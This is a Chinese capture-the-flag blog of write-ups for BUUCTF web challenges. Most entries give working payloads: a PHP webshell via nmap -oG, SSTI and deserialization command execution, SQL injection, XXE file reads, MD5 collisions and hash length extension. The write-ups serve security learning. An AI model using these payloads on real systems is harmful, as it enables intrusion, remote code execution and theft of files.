[BUUCTF 2018]Online Tool

linuxshell中cat /flagca''t /fl''ag是等价的

escapeshellarg():将字符串用单引号包裹,并“转义已存在的单引号,再在两端加上单引号”,用这个函数处理后可以直接将字符串传入shell,例如:1'2→'1'\''2'

escapeshellcmd():将字符中的&#;|*?~<>^()[]{}$\,\x0A,\xFF还有反引号转义,对于'"仅在不配对的时候转义

传入的参数为1'shell'时 经过escapeshellarg()处理⇒'1'\''shell'\''' 再经过escapeshellcmd()处理⇒'1'\\''shell'\\''' 最后放到shell中就能执行命令

payload:'<?php @eval($_POST["shell"]); ?> -oG eastjun.php '
经过escapeshellarg()处理⇒'1'\''<?php @eval($_POST["shell"]); ?> -oG eastjun.php '\'''
再经过escapeshellcmd()处理⇒'1'\\''\<\?php @eval\(\$_POST\["shell"\]\)\; \?\> -oG eastjun.php '\\'''
最后在shell中由-oG参数导出eastjun.php

payload中最后一个单引号前有一个空格,不加空格则文件会被导出到eastjun.php\\中,不会被php解析

[GXYCTF2019]BabyUpload

先写一句话的php,然后将文件后缀改为jpg传上去,然后传入.htaccess文件,写入AddType application/x-httpd-php .jpg,将jpg文件解析为php,用蚁剑连接。传文件时需要将Content-Type改为 image/jpeg

[GXYCTF2019]禁止套娃

git源码泄露,用GitHack可以下载到index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

得到源码之后需要进行无参RCE

payload:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))))
或者:
?exp=show_source(session_id(session_start()));
cookie:PHPSESSID=flag.php

[安洵杯 2019]easy_web

打开靶机是一个网页,http://0c97a827-b806-4b60-b534-73a258ee6e34.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

然后注意到后面的一串字符是base64,两次base64解码加一次hex解码得到555.png

按照这个逻辑把555.png换成index.php经过一次hex加密再经过两次base64加密传进去可以拿到index.php的源码(摁F12可以看到)

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
​
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
​
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5强类型比较绕过

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

命令那里过滤了一堆东西,还能用的命令有uniq,strings,sort能用,传入uniq /flag,然后POST传ab就能拿到flag

听说反斜杠没有过滤成功,可以直接用ca\t /flag,这里应该是php将\\解释为了\,然后传入正则将后面的|转义了,转义后的|与后面的\\\\(php解释为两个反斜杠,正则再将其解释为一个反斜杠)组合,最后匹配的是|\

验证一下:

image-20210317221036492

现在传入|\就会提示forbid~,所以反斜杠没有过滤成功

[BJDCTF2020]The mystery of ip

打开后在/flag.php会判断ip,然后会想到修改X-Forwarded-For

image-20210319121443155

然后这里存在一个SSTI,输入一个{{config}},在报错中可以看到是Smarty模板,Smarty模板注入可以直接通过{print_r(scandir(“.”))}执行代码,也可以通过{if}{/if}标签执行php代码

payload:{if system("cat /flag")}{/if}
image-20210319124550700

[BJDCTF2020]ZJCTF,不过如此

打开可以看到一段代码

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

这里用data协议绕过I have a dream,然后用php://filter协议读取next.php的源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace('/('.$re.')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}

php伪协议、php正则表达式e模式

代码逻辑就是从GET方法中取出key作为模式,value作为字符串,然后将匹配结果的第一项放入strtolower("")中最后执行strtolower将字符串转为小写,e模式下存在任意代码执行的漏洞,通过构造{${eval($_GET[php_code])}}就能执行代码。

re部分可以用.*匹配整个字符串,但由于php特性,php会将key的第一个点换成下划线,这里用\S代替,指非空格的字符。

payload:\S*={${eval($_POST[a])}}
POST:a=echo(`cat /flag`);

[GWCTF 2019]我有一个数据库

CVE-2018-12613

payload:?target=db_sql.php%3f/../../../../../../../../flag

[BJDCTF2020]Mark loves cat

存在git源码泄露,用GitHack下载源码

<?php
​
include 'flag.php';
​
$yds = "dog";
$is = "cat";
$handsome = 'yds';
​
foreach($_POST as $x => $y){
    $$x = $y;
}
​
foreach($_GET as $x => $y){
    $$x = $$y;
}
​
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
​
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
​
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
​
echo "the flag is: ".$flag;

代码存在变量覆盖的问题,按逻辑方式传flag会在$$x = $$y时将flag覆盖掉,echo不出来,如果post和get里都没有flag参数会在exit($yds)处退出。传入yds=flag,在$$x = $$y时将flag赋值给yds就能拿到flag

payload:?yds=flag

Facebook

先注册账号,输入账号密码和blog,然后去view页面进行查询,可以看到服务器对资源进行了请求。

image-20210510155752260

然后还有sql注入:

image-20210510155922181
no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4
​
no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),3,4
​
no=-1/**/union/**/select/**/1,(select/**/group_concat(no,username,passwd,data)/**/from/**/users),3,4

然后可知数据查询的时候是将data反序列化再显示出来的。

image-20210510160006549

ssrf:

no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

最后在源码中找到flag

[HCTF 2018]admin

flask session伪造:

只有admin才能查看密码,注册test账号,使用flask-session-cookie-manager工具伪造session,secret_key可以在github源码中找到。先对session进行decode操作,然后将解密后的session改为admin用户再进行加密可伪造session。使用伪造的cookie请求可以拿到flag

[网鼎杯 2020 朱雀组]phpweb

在Network处可以看到网站向index.php发送了一个func和一个p参数,修改func参数可以看到call_user_func函数报错,改为phpinfo可以看到被拦截,其他的eval、system、exec、passthru也都传不进去,使用highlight_file函数可以看到index.php的源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
​
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

可以进行反序列化:

payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"assert($_POST[shell]);";s:4:"func";s:6:"assert";}&shell=phpinfo();
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"assert($_POST[shell]);";s:4:"func";s:6:"assert";}&shell=system("ls")
​
shell=system("cat /tmp/flagoefiu4r93")

[NCTF2019]Fake XML cookbook

xxe(需要用到burp):

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123456</password></user>

[De1CTF 2019]SSRF Me

打开网页可以得到源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
​
sys.setdefaultencoding('latin1')
​
app = Flask(__name__)
​
secert_key = os.urandom(16)
​
​
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
​
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print (resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
​
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
​
​
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
​
​
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()
​
​
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
​
​
​
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
​
​
def md5(content):
    return hashlib.md5(content).hexdigest()
​
​
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
​
​
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

flask框架,绑定3个路由。主页拿到源码,/geneSign页面输入param,返回md5(secert_key+param+”scan”)的值。/De1ta页面初始化Task类,Exec函数中首先检查md5(secert_key + param + action)是否和sign参数相等,其次使用in检查action参数中是否包含scan,是否包含read,然后执行相应的操作。关键在于如何得到md5(secert_key + param + action)

可以使用md5扩展攻击

先去/geneSign得到md5(secert_key+”flag.txt”+”scan”),然后使用hashpump进行md5扩展攻击,输入数据为scan,(secert_key+flag.txt)的长度为24,需要扩展的数据为read。

image-20210512194240419

然后可计算出md5(secert_key+"flag.txt"+"scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read")c7d9cbb0c3e8e95f9c2688694b3fcd04。在sublime中将\x换成%

image-20210512194746913

[ASIS 2019]Unicorn shop

需要用一个字符的价格买到价值1337的独角兽

compart或者是Unicode 字符百科搜索thousand可以查到大于1000的单个字符,购买第四种独角兽,然后粘贴在这里复制的“𐄤”字符

原理可以看看Unicode设计的安全性

[BJDCTF2020]Cookie is so stable

在/flag页面输入用户名,然后服务器会返回给我一个Cookie,Cookie中有一个user参数,携带Cookie为user=admin访问/flag页面会回显一个Hello admin,将Cookie中的user参数改为admin1,则回显admin1。然后盲猜是ssti,测试{{‘7’*7}}回显为Hello 49

是个twig的ssti,可以放个payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...